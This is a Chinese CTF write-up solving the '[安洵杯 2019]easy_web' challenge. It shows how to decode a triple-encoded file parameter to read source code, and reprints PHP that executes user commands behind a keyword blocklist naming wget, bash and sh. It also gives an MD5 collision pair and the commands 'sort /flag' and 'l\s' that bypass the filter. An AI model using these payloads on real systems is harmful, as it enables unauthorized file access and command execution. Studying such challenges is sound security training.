当前位置:网站首页>[安洵杯 2019]easy_web
[安洵杯 2019]easy_web
2022-08-02 19:20:00 【清风--】
考察知识点:
1.解密的敏感度(或者说工具的强度)
2.md5强比较的累积
3.读取文件的函数累积
解题:
进入页面直接burp抓包:

有一个img=TXpVek5UTTFNbVUzTURabE5qYz0,我们直接放到脚本里跑一下:

脚本很好写的,就贴合自己喜欢的方式写一个就行。解码出来发现是555.png.因为这里url的特性,所以这里应该只是进行了三次编码:
hex->base64->base64
那我们试着读取一下页面源码:

然后贴到img里面

解码一下
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>关于cmd过滤了很多,并且进入的条件还有一个
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
简单,把家底炒出来:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
姿势一:
sort /flag

这个姿势不足的就是不知道flag名字,得猜
姿势二:
l\s

这个方法绕过很好用,也可以知道flag名字

边栏推荐
- 技术分享 | Apache Linkis 快速集成网页IDE工具 Scriptis
- 动态生成不同类型的订单,请问如何存放到Mongodb数据库?
- Kali命令ifconfig报错command not found
- openlayers版本更新差别
- golang刷leetcode 经典(11) 朋友圈
- Brain-computer interface 003 | Musk said that he has realized a virtual self-dialogue with the cloud, and related concept shares have risen sharply
- 我用这一招让团队的开发效率提升了 100%!
- golang刷leetcode动态规划(12)最小路径和
- cache2go-源码阅读
- es DELETE index 源码分析
猜你喜欢

Gradle系列——Gradle的build.gradle文件详情,项目发布(基于Gradle文档7.5)day3-3

技术分享 | Apache Linkis 快速集成网页IDE工具 Scriptis

2022-07-28

【心理学 · 人物】第一期

【Psychology · Characters】Issue 1

A Review of Nature Microbiology: Focusing on the Algae--Ecological Interface of Phytoplankton-Bacteria Interactions

MySQL安装配置教程(超级详细)

Kali命令ifconfig报错command not found

线程池原理与实践|从入门到放弃,深度解析

服务器Centos7 静默安装Oracle Database 12.2
随机推荐
SCANIA SCANIA OTL tag is introduced
线程池原理与实践|从入门到放弃,深度解析
Detailed explanation of common examples of dynamic programming
淘宝|蚂蚁|菜鸟|盒马|嘀嘀|饿了么面经(已拿多个offer)
移动跨端技术方案分析对比
AI科学家:自动发现物理系统的隐藏状态变量
VMware虚拟机无法上网
平稳发展 | 西欧地区手游玩家的数据和洞察
E. Add Modulo 10(规律)
互联网寒冬,挚友7面阿里,终获Offer
openlayers version update difference
我靠这套笔记自学,拿下字节50万offer....
分布式事务
idea 配置resin
去年,一道蚂蚁金服笔试题,还行,中等难度
【心理学 · 人物】第一期
元宇宙001 | 情绪无法自控?元宇宙助你一臂之力
二本 两年经验读者 阿里P6面经
golang刷leetcode 经典(12) 完全二叉树插入器
7.24 - 每日一题 - 408